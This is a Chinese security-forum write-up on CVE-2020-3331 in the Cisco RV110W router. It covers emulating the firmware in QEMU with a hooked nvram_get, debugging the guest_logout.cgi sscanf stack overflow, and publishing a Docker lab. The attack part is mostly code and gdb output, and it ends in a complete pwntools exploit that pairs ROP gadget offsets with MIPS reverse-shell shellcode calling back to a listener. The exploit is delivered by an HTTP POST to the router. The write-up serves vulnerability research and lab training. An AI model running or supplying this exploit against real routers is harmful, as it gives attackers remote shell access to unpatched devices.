首页
社区
课程
招聘
[原创]思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建
2021-3-8 18:09 21096

[原创]思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建

2021-3-8 18:09
21096

思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建

作者:lxonz@白帽汇安全研究院

 

此次分析是基于轩哥的文章https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/,同时因为轩哥用的是实机,很多师傅可能不想入手路由器,因此我这篇文章是针对路由器的httpd进行hook在通过qemu-system模拟启动,我整理好的环境已经上传至https://hub.docker.com/r/vulshare/cve-2020-3331,有需要的师傅可以自行下载,并且如果想一键生成环境的话,可以来http://vulfocus.fofa.so/,启动过程可能会比较长,估摸着6分钟以内,耐心等一下~

1
2
docker pull vulshare/cve-2020-3331:lxonz
docker run -itd -P vulshare/cve-2020-3331:lxonz

QQ截图20210308162709

本地环境部署

本地环境搭建遇到的几点问题:

 

1.因为没有nvram所以不能成功启动,因此需要hook

 

2.建立交叉编译环境,将代码作为共享库编译

 

从调试到封装成docker的周期比较长,有些技术细节记得不太清了,可能文章思路有点跳跃,有问题的地方读者指出就好,我这边修正。

 

本次调试环境:1.vmlinux-3.2.0-4-4kc-malta

 

​ 2.debian_wheezy_mipsel_standard.qcow2

 

下载地址:https://people.debian.org/~aurel32/qemu/mips/

1
2
3
4
5
6
qemu启动参数:
qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta  \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

因为实际环境也是没有aslr的,所以在这里我们直接关掉,否则没有办法泄露libc。

 

关于基本的环境搭建的具体部分可以去参考我之前的一篇文章https://nosec.org/home/detail/4634.html

1
2
3
chroot squashfs-root sh
mount -o bind /dev ./dev/
mount -t proc /proc/ ./proc/

这里如果我们单纯的启动./http是起不来的,因为我们没有nvram,过不了他的检查,所以在这里我采取的hook的方法,将他的nvram_get hook掉,即可启动,目标平台是mipsel所以我们需要使用buildroot来搭建一个交叉编译的环境。

1
2
3
4
5
6
sudo apt-get update
sudo apt-get install libncurses5-dev patch
git clone https://github.com/buildroot/buildroot.git
cd buildroot
make clean
make menuconfig

image-20210305180013126

 

进到Target options这里面之后我们需要选他的架构和大小端序
image-20210305180237311

 

image-20210305180524716

 

在toolchain里选择kernel版本uname -a看一下可以了,然后保存退出
然后直接make -j8编译即可然后会生成一个output文件夹,进去找output/host/bin 运行mipsel-linux-gcc --version

1
2
3
4
5
mipsel-linux-gcc --version
mipsel-linux-gcc.br_real (Buildroot 2020.08-947-ga2b344a) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

有版本回显就可以了,我们一会通过这个交叉编译我们的nvram_get。

 

最后将这个路径写入.bashrc

1
export PATH=~/buildroot/buildroot/output/host/bin:$PATH

后面就可以愉快的调用了

hook nvram_get

1
2
3
4
5
6
7
8
9
10
11
v34 = (char *)nvram_get("lan_ifname");
 if ( !v34 )
   v34 = "";
 v35 = (char *)nvram_get("lan_ipaddr");
 if ( !v35 )
   v35 = "";
 v36 = (char *)nvram_get("http_client_ip");
 if ( !v36 )
   v36 = "";
 v37 = (char *)nvram_get("lan_hwaddr");
 if ( !v37 )

嵌入式应用程序通常通过共享库与NVRAM交互。该库又与包含设备当前配置设置的MTD分区接口交互。如果没有NVRAM配置数据,许多程序将无法正常运行,需要我们拦截NVRAM库调用并返回有效数据,以便在Qemu中正确执行应用程序

 

如果我们不进行hook的话,到达漏洞触发点,会发现V0-T9没有任何值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
0x77fb2a84 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
 V0   0x0
 V1   0x0
 A0   0x0
 A1   0x0
 A2   0x0
 A3   0x0
 T0   0x0
 T1   0x0
 T2   0x0
 T3   0x0
 T4   0x0
 T5   0x0
 T6   0x0
 T7   0x0
 T8   0x0
 T9   0x0
 S0   0x77aa7050
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x0
 SP   0x7fff6f40 ◂— 0x1
 PC   0x77fb2a84 ◂— bal    0x77fb2a8c
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x77fb2a80    move   $t9, $ra
 0x77fb2a84    bal    0x77fb2a8c
    
   0x77fb2a8c    lui    $gp, 5
   0x77fb2a90    addiu  $gp, $gp, -0x3a7c
   0x77fb2a94    addu   $gp, $gp, $ra
   0x77fb2a98    move   $ra, $t9
   0x77fb2a9c    lw     $a0, -0x7fe8($gp)
   0x77fb2aa0    sw     $a0, -0x7ff0($gp)
   0x77fb2aa4    move   $a0, $sp
   0x77fb2aa8    addiu  $sp, $sp, -0x10
   0x77fb2aac    lw     $t0, -0x7fe4($gp)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp  0x7fff6f40 ◂— 0x1
01:0004│     0x7fff6f44 —▸ 0x7fff6fea ◂— '//bin/sh'
02:0008│     0x7fff6f48 ◂— 0x0
... ↓
04:0010│     0x7fff6f50 ◂— 0x10
05:0014│     0x7fff6f54 ◂— 0x0
06:0018│     0x7fff6f58 ◂— 0x6
07:001c│     0x7fff6f5c ◂— 0x1000
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ► f 0 77fb2a84
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gdb-peda$

https://blog.csdn.net/qq_21063873/article/details/103037515这篇文章有大致介绍基于qemu的nvram仿真

 

通过ida看它的httpd,nvram_get在获取各种环境的值,如果我们给它lan_ipaddr写死了是不是就可以了?nvram_get只传了一个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>
 
char *nvram_get(char *key)
{
        char *value = NULL;
 
        if(strcmp(key, "lan_ipaddr") == 0)
        {
                value = strdup("127.0.0.1");
        }
        printf("nvram_get(%s) == %s\n", key, value);
        return value;
}
1
mipsel-linux-gcc -shared -fPIC nvram.c -o nvram.so

我们将此代码作为共享库进行编译

 

回到qemu里执行命令

1
2
chroot squashfs-root sh
export LD_PRELOAD="./nvram.so" && ./httpd
1
2
3
4
nvram_get(http_settimeouts) == (null)
nvram_get(http_settimeouts_usec) == (null)
nvram_get(http_debug) == (null)
出现这三个代表启动成功

还有一种思路是通过nvram_faker启动https://github.com/zcutlip/nvram-faker

 

它提供了编译不同架构的脚本,hook思路大同小异,也可以拿这个来进行启动

漏洞分析

漏洞点在guest_logout.cgi的sscanf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
v10 = (const char *)get_cgi((int)"cip");
  v11 = (const char *)get_cgi((int)"submit_button");
  if ( !v11 )
    v11 = "";
  if ( v5 && v10 )
  {
    memset(v29, 0, 0x40u);
    memset(v28, 0, sizeof(v28));
    v12 = fopen("/dev/console", "w");
    v13 = v12;
    if ( v12 )
    {
      fprintf(v12, "\n  mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
      fclose(v13);
    }
    if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
    {
      if ( !strstr(v11, "status_guestnet.asp") )
        goto LABEL_31;
      sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
      v17 = fopen("/dev/console", "w");
      v18 = v17;
      if ( v17 )
      {
        fprintf(
          v17,
          "\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
          "guest_logout_cgi",
          5449,
          v11,
          v29,
          v28);
        fclose(v18);
      }
1
sscanf这里起到了一个正则的作用,v11是我们需要匹配的字符串,%[^;];%*[^=]=%[^\n]是匹配规则,V29存的是%[^;]匹配到的值,V28存的是%*[^=]=%[^\n]
1
2
3
%[^;]:分号前的所有字符都要
;%*[^=]:分号后,等号前的字符都不要
=%[^\n]:等号后,换行符前的所有字符都要
1
v11 = (const char *)get_cgi((int)"submit_button");
1
2
v5 = (const char *)get_cgi((int)"cmac");
v6 = (const char *)get_cgi((int)"cip")

断点下在已经覆盖了ra的位置

1
b *0x431b60
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
V0   0x0
 V1   0x73
 A0   0x4d81f0 (post_buf+64) ◂— 0x75746174 ('tatu')
 A1   0x47f785 ◂— 'ogin_guest.asp'
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ◂— 0x6c5f5f00
 T2   0x77ee5f89 ◂— jalx   0x79957c00
 T3   0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
 T4   0x77a6c64c ◂— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ◂— 0x4c475f00
 T8   0x77a6c40c ◂— nop   
 T9   0x77a984d0 (strcoll) ◂— lbu    $v1, ($a0)
 S0   0x77aa7050 (xdr_free+16) ◂— move   $t9, $a0     //jmp $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x7fff1348 ◂— 0x61616161 ('aaaa')
 SP   0x7fff1260 —▸ 0x47c14c ◂— 'http_client_ip'
 PC   0x431b60 (guest_logout_cgi+872) ◂— jr     $ra
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x431b4c <guest_logout_cgi+852>    lw     $s3, 0xcc($sp)
   0x431b50 <guest_logout_cgi+856>    lw     $s2, 0xc8($sp)
   0x431b54 <guest_logout_cgi+860>    lw     $s1, 0xc4($sp)
   0x431b58 <guest_logout_cgi+864>    lw     $s0, 0xc0($sp)
   0x431b5c <guest_logout_cgi+868>    move   $v0, $zero
 0x431b60 <guest_logout_cgi+872>    jr     $ra <0x77a8f7a0>
    
   0x431b68 <guest_logout_cgi+880>    lw     $t9, -0x7cc0($gp)
   0x431b6c <guest_logout_cgi+884>    nop   
   0x431b70 <guest_logout_cgi+888>    jalr   $t9
   0x431b74 <guest_logout_cgi+892>    move   $a0, $s2

可以看到此时ra寄存器的值已经是0x77a8f7a0 就是jalr $s0,$s0也被我们提前布置好了地址,覆盖到PC可以通过cyclic算出来,但覆盖到S0需要自己去手动调试,慢慢找它的偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
V0   0x0
 V1   0x73
 A0   0x4d81f0 (post_buf+64) ◂— 0x75746174 ('tatu')
 A1   0x47f785 ◂— 'ogin_guest.asp'
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ◂— 0x6c5f5f00
 T2   0x77ee5f89 ◂— jalx   0x79957c00
 T3   0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
 T4   0x77a6c64c ◂— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ◂— 0x4c475f00
 T8   0x77a6c40c ◂— nop   
 T9   0x77a984d0 (strcoll) ◂— lbu    $v1, ($a0)
 S0   0x77aa7050 (xdr_free+16) ◂— move   $t9, $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x7fff13a0 ◂— 0x109090c
 SP   0x7fff1348 ◂— 0x61616161 ('aaaa')
 PC   0x77a8f7a0 (fclose+304) ◂— addiu  $a0, $sp, 0x18
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
 0x77a8f7a0 <fclose+304>    addiu  $a0, $sp, 0x18 <0x4d81f0>
    
   0x77a8f7a8 <fclose+312>    jalr   $t9
 
   0x77a8f7ac <fclose+316>    addiu  $a1, $zero, 1
   0x77a8f7b0 <fclose+320>    lw     $gp, 0x10($sp)
   0x77a8f7b4 <fclose+324>    lhu    $v0, ($s1)
   0x77a8f7b8 <fclose+328>    andi   $v0, $v0, 0x4000
   0x77a8f7bc <fclose+332>    beqz   $v0, fclose+360 <0x77a8f7d8>
 
   0x77a8f7c0 <fclose+336>    lw     $a2, -0x778c($gp)
   0x77a8f7c4 <fclose+340>    lw     $t9, -0x77ac($gp)
   0x77a8f7c8 <fclose+344>    jalr   $t9
 
   0x77a8f7cc <fclose+348>    lw     $a0, 8($s1)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp  0x7fff1348 ◂— 0x61616161 ('aaaa')
... ↓
06:0018│     0x7fff1360 ◂— 0x2804ffff
... ↓

这里是把$sp+0x18的位置给a0寄存器,也就是我们要跳的最后位置

1
2
3
4
5
6
Python 2.7.12 (default, Oct  5 2020, 13:56:01)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(hex(0x7fff1348+0x18))
0x7fff1360
看了下地址0x7fff1360没毛病
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
gdb-peda$ x/20wx 0x7fff1348
0x7fff1348:    0x61616161    0x61616161    0x61616161    0x61616161
0x7fff1358:    0x61616161    0x61616161    0x2804ffff    0x2804ffff
0x7fff1368:    0x24020fa6    0x0109090c    0x28041111    0x24020fa6
0x7fff1378:    0x0109090c    0x240cfffd    0x01802027    0x24020fa6
0x7fff1388:    0x0109090c    0x240cfffd    0x01802027    0x01802827
gdb-peda$ x/20wx 0x7fff1348+0x18
0x7fff1360:    0x2804ffff    0x2804ffff    0x24020fa6    0x0109090c
0x7fff1370:    0x28041111    0x24020fa6    0x0109090c    0x240cfffd
0x7fff1380:    0x01802027    0x24020fa6    0x0109090c    0x240cfffd
0x7fff1390:    0x01802027    0x01802827    0x2806ffff    0x24021057
0x7fff13a0:    0x0109090c    0x3044ffff    0x24020fc9    0x0109090c
gdb-peda$ x/20i 0x7fff1348+0x18
   0x7fff1360:    slti    a0,zero,-1
   0x7fff1364:    slti    a0,zero,-1
   0x7fff1368:    li    v0,4006
   0x7fff136c:    syscall    0x42424
   0x7fff1370:    slti    a0,zero,4369
   0x7fff1374:    li    v0,4006
   0x7fff1378:    syscall    0x42424
   0x7fff137c:    li    t4,-3
   0x7fff1380:    nor    a0,t4,zero
   0x7fff1384:    li    v0,4006
   0x7fff1388:    syscall    0x42424
   0x7fff138c:    li    t4,-3
   0x7fff1390:    nor    a0,t4,zero
   0x7fff1394:    nor    a1,t4,zero
   0x7fff1398:    slti    a2,zero,-1
   0x7fff139c:    li    v0,4183
   0x7fff13a0:    syscall    0x42424
   0x7fff13a4:    andi    a0,v0,0xffff
   0x7fff13a8:    li    v0,4041
   0x7fff13ac:    syscall    0x42424

这里是比较关键的一步在栈顶+0x18的位置,将shellcode的第一条指令多写了一份,因为在调试的过程中发现,slti a0,zero,-1这条指令会被莫名奇妙吞掉,所以多写了一条指令,来绕过这个奇怪的机制,实际测试过程中遇到\x00也会给截断,所以也需要绕00,这里测试过我的msf生成的是有00的,所以直接用轩哥推荐的shellcodeLinux/mips - Reverse Shell Shellcode - 200 bytes by Jacob Holcomb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
V0   0x0
 V1   0x73
 A0   0x7fff1360 ◂— 0x2804ffff
 A1   0x47f785 ◂— 'ogin_guest.asp'
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ◂— 0x6c5f5f00
 T2   0x77ee5f89 ◂— jalx   0x79957c00
 T3   0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
 T4   0x77a6c64c ◂— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ◂— 0x4c475f00
 T8   0x77a6c40c ◂— nop   
 T9   0x77a984d0 (strcoll) ◂— lbu    $v1, ($a0)
 S0   0x77aa7050 (xdr_free+16) ◂— move   $t9, $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x7fff13a0 ◂— 0x109090c
 SP   0x7fff1348 ◂— 0x61616161 ('aaaa')
 PC   0x77a8f7a4 (fclose+308) ◂— move   $t9, $s0
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x77a8f7a0 <fclose+304>    addiu  $a0, $sp, 0x18
 0x77a8f7a4 <fclose+308>    move   $t9, $s0
    
   0x77a8f7ac <fclose+316>    addiu  $a1, $zero, 1
   0x77a8f7b0 <fclose+320>    lw     $gp, 0x10($sp)
   0x77a8f7b4 <fclose+324>    lhu    $v0, ($s1)
   0x77a8f7b8 <fclose+328>    andi   $v0, $v0, 0x4000
   0x77a8f7bc <fclose+332>    beqz   $v0, fclose+360 <0x77a8f7d8>
 
   0x77a8f7c0 <fclose+336>    lw     $a2, -0x778c($gp)
   0x77a8f7c4 <fclose+340>    lw     $t9, -0x77ac($gp)
   0x77a8f7c8 <fclose+344>    jalr   $t9
 
   0x77a8f7cc <fclose+348>    lw     $a0, 8($s1)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp  0x7fff1348 ◂— 0x61616161 ('aaaa')
... ↓
06:0018│ a0  0x7fff1360 ◂— 0x2804ffff
... ↓
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ► f 0 77a8f7a4 fclose+308

到这里a0已经变成了我们想要的地址了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
0x77aa7058 in xdr_free () from target:/lib/libc.so.0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
 V0   0x0
 V1   0x73
 A0   0x7fff1360 ◂— 0x0
 A1   0x1
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ◂— 0x6c5f5f00
 T2   0x77ee5f89 ◂— jalx   0x79957c00
 T3   0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
 T4   0x77a6c64c ◂— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ◂— 0x4c475f00
 T8   0x77a6c40c ◂— nop   
 T9   0x7fff1360 ◂— 0x0
 S0   0x77aa7050 (xdr_free+16) ◂— move   $t9, $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x7fff1380 ◂— 0x1802027
 SP   0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
 PC   0x77aa7058 (xdr_free+24) ◂— jalr   $t9
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x77aa7050 <xdr_free+16>    move   $t9, $a0
   0x77aa7054 <xdr_free+20>    sw     $v0, 0x18($sp)
 0x77aa7058 <xdr_free+24>    jalr   $t9
 
   0x77aa705c <xdr_free+28>    addiu  $a0, $sp, 0x18
   0x77aa7060 <xdr_free+32>    lw     $gp, 0x10($sp)
   0x77aa7064 <xdr_free+36>    lw     $ra, 0x30($sp)
   0x77aa7068 <xdr_free+40>    jr     $ra
 
   0x77aa706c <xdr_free+44>    addiu  $sp, $sp, 0x38
   0x77aa7070 <xdr_void>       jr     $ra
 
   0x77aa7074 <xdr_void+4>     addiu  $v0, $zero, 1
   0x77aa7078 <xdr_long>       lw     $v1, ($a0)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp     0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9  0x7fff1360 ◂— 0x0
07:001c│        0x7fff1364 ◂— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ► f 0 77aa7058 xdr_free+24
──────────────────────────────────────────
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
0x7fff1364 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
 V0   0x0
 V1   0x73
 A0   0x7fff1360 ◂— 0x0
 A1   0x1
 A2   0x0
 A3   0x0
 T0   0xfd00
 T1   0x77a71411 ◂— 0x6c5f5f00
 T2   0x77ee5f89 ◂— jalx   0x79957c00
 T3   0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
 T4   0x77a6c64c ◂— 0x88e
 T5   0x24
 T6   0xd80b684
 T7   0x77a70b7c ◂— 0x4c475f00
 T8   0x77a6c40c ◂— nop   
 T9   0x7fff1360 ◂— 0x0
 S0   0x77aa7050 (xdr_free+16) ◂— move   $t9, $a0
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x61616161 ('aaaa')
 S4   0x61616161 ('aaaa')
 S5   0x61616161 ('aaaa')
 S6   0x61616161 ('aaaa')
 S7   0x61616161 ('aaaa')
 S8   0x61616161 ('aaaa')
 FP   0x0
 SP   0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
 PC   0x7fff1364 ◂— 0x2804ffff
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
   0x7fff1360    nop   
 0x7fff1364    slti   $a0, $zero, -1
    
   0x7fff136c    syscall 0x42424
   0x7fff1370    slti   $a0, $zero, 0x1111
   0x7fff1374    addiu  $v0, $zero, 0xfa6
   0x7fff1378    syscall 0x42424
   0x7fff137c    addiu  $t4, $zero, -3
   0x7fff1380    not    $a0, $t4
   0x7fff1384    addiu  $v0, $zero, 0xfa6
   0x7fff1388    syscall 0x42424
   0x7fff138c    addiu  $t4, $zero, -3
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp     0x7fff1348 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
06:0018│ a0 t9  0x7fff1360 ◂— 0x0
07:001c│ pc     0x7fff1364 ◂— 0x2804ffff
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ► f 0 7fff1364

成功执行shellcode,拿到shell

 

image-20210305164934218

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding:UTF-8
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux', log_level='debug')
io     = listen(31337)
libc   = 0x77a6a000
jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0
jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0
 
shellcode =  "slti $a0, $zero, 0xFFFF\n"
shellcode +=  "slti $a0, $zero, 0xFFFF\n"
shellcode +=  "li $v0, 4006\n"
shellcode +=  "syscall 0x42424\n"
shellcode +=  "slti $a0, $zero, 0x1111\n"
shellcode +=  "li $v0, 4006\n"
shellcode +=   "syscall 0x42424\n"
shellcode +=   "li $t4, 0xFFFFFFFD\n"
shellcode +=   "not $a0, $t4\n"
shellcode +=   "li $v0, 4006\n"
shellcode +=   "syscall 0x42424\n"
shellcode +=   "li $t4, 0xFFFFFFFD\n"
shellcode +=   "not $a0, $t4\n"
shellcode +=    "not $a1, $t4\n"
shellcode +=    "slti $a2, $zero, 0xFFFF\n"
shellcode +=   "li $v0, 4183\n"
shellcode +=     "syscall 0x42424\n"
shellcode +=     "andi $a0, $v0, 0xFFFF\n"
shellcode +=     "li $v0, 4041\n"
shellcode +=     "syscall 0x42424\n"
shellcode +=    "li $v0, 4041\n"
shellcode +=    "syscall 0x42424\n"
shellcode +=     "lui $a1, 0x6979\n"
shellcode +=     "ori $a1, 0xFF01\n"
shellcode +=     "addi $a1, $a1, 0x0101\n"
shellcode +=     "sw $a1, -8($sp)\n"
shellcode +=    "li $a1, 0x010A0A0A\n"   #这里是需要改的IP地址
shellcode +=     "sw $a1, -4($sp)\n"
shellcode +=     "addi $a1, $sp, -8\n"
shellcode +=     "li $t4, 0xFFFFFFEF\n"
shellcode +=     "not $a2, $t4\n"
shellcode +=     "li $v0, 4170\n"
shellcode +=     "syscall 0x42424\n"
shellcode +=     "lui $t0, 0x6962\n"
shellcode +=     "ori $t0, $t0,0x2f2f\n"
shellcode +=      "sw $t0, -20($sp)\n"
shellcode +=     "lui $t0, 0x6873\n"
shellcode +=      "ori $t0, 0x2f6e\n"
shellcode +=      "sw $t0, -16($sp)\n"
shellcode +=      "slti $a3, $zero, 0xFFFF\n"
shellcode +=      "sw $a3, -12($sp)\n"
shellcode +=     "sw $a3, -4($sp)\n"
shellcode +=     "addi $a0, $sp, -20\n"
shellcode +=     "addi $t0, $sp, -20\n"
shellcode +=      "sw $t0, -8($sp)\n"
shellcode +=      "addi $a1, $sp, -8\n"
shellcode +=      "addiu $sp, $sp, -20\n"
shellcode +=     "slti $a2, $zero, 0xFFFF\n"
shellcode +=      "li $v0, 4011\n"
shellcode +=     "syscall 0x42424"
 
shell = asm(shellcode)
 
 
# 覆盖s0 覆盖ra 最后将shellcode写进sp+0x18的位置
# 先jmp到s0在jmp到a0执行shellcode
payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shell 
#payload = "status_guestnet.asp"+'a'*49+p32(0xdeadbeef)                                
paramsPost = {
            "cmac":"7a:29:9f:d3:d2:6e",
            "submit_button":payload,
            "cip":"192.168.1.1",
            }
 
def attack():
    try:
        requests.post("http://10.10.10.3/guest_logout.cgi", data=paramsPost, verify=False)
    except:
        pass
 
thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell")
io.interactive()
#10A0A0A -> 10.10.10.1 LSB
#0x77aa7050 jalr $a0
#0x77a8f7a0 jalr $s0

shellcode我是改的回连地址,然后利用pwntools把汇编转成二进制在打进去,算是在轩哥的exp上做了些改动,感兴趣的师傅可以自己去调一下。

docker搭建固件靶场环境

最后的docker环境部署,其实大概的架构是这样的

 

image-20210308152626694

 

将qemu_system里的端口映射到docker里面,在从docker端口转发到宿主机,然后外网就能访问到qemu_system里的服务了,因为要外网访问,所以我们不使用方便调试的tap模式,直接使用net模式,启动脚本如下:

1
2
3
4
5
6
qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::80-:80,hostfwd=tcp::31337-:31337,hostfwd=tcp::1234-:1234 -nographic

转发了三个端口,一个是httpd的80,回连的31337,gdb调试的1234。

 

然后在qemu里写好启动脚本

1
2
#!/bin/sh
chroot squashfs-root sh start.sh
1
2
#!/bin/sh
export LD_PRELOAD="./nvram.so" && ./httpd    //start.sh的内容

放到rc.local里面,就能自启动了。

 

在将文件提前保存进docker镜像里,然后写好dockerfile,打包上传至dockerhub即可

1
2
3
4
5
6
7
8
9
10
FROM vulshare/cve-2020-3331:lxonz
LABEL Author="lxonz"
 
WORKDIR /home/root/qemu_system_mipsel
 
CMD [ "/bin/sh", "-c", "chmod 755 qemu_mipsel.sh && sh qemu_mipsel.sh" ]
 
EXPOSE 31137
EXPOSE 80
EXPOSE 1234

这里要写好转发的端口,最后通过-P参数启动。

 

最后呢,因为qemu里我转发了1234端口,但是docker里没转发,如果想要调试的师傅可以自己转发一下

 

参考链接:

 

